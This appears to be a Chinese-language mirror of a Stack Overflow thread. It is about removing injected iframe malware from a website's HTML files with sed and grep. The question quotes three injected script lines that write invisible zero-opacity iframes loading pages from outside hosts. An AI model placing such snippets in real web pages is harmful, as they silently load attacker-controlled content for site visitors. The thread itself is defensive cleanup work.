【问题标题】:Cleaning up iframe malware清理 iframe 恶意软件
【发布时间】:2015-05-04 19:56:53
【问题描述】:

我正在帮助某人清理网站上的恶意软件感染,但我很难正确匹配 sed 中的某些字符串,因此我可以创建一个脚本来批量搜索并替换/删除它。

字符串是:

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>

<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

我似乎无法弄清楚如何转义这些行中的各种字符...

如果我只想说删除与http://vidintex.com/includes/class.pop.php 匹配的整行,它也会删除.html 文件中的关闭html &lt;/body&gt;

所以我需要能够在 sed 中匹配这一整行:

    <script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>

任何帮助将不胜感激!

【问题讨论】:

    标签: linux sed malware


    【解决方案1】:

    您可以尝试这样做:

    sed -i '/vidintex.com\/includes\/class.pop.php/d' files*
    

    这将删除所有包含 vidintex.com/includes/class.pop.php 的行

    【讨论】:

    • 谢谢。这让我更加接近,但它也删除了文件中的关闭“
    【解决方案2】:

    您可以在 sourceforge 开始使用 SMSScanner!它会立即解决您的问题

    【讨论】:

      【解决方案3】:

      Looking for script to delete iframe malware from linux server 类似,您可以查找位于最终body 标记旁边的script 标记并将其替换为仅body 标记。此脚本将查找所有受影响的文件并删除最终脚本。

      它有可能在最后找到带有脚本的正版文件 - 所以首先检查文件的 grep 是否只找到受感染的文件。

      # grep recursively for text
      # escape all spaces in file names
      # global search and replace with just body tag
      grep -Rl "</script></body>" * | sed 's/ /\ /g' | xargs sed -i 's/<script .*><\/script><\/body>/<\/body>/g'
      

      【讨论】:

        猜你喜欢
        • 2015-11-02
        • 1970-01-01
        • 2019-01-10
        • 2014-03-16
        • 2022-09-25
        • 2021-05-17
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多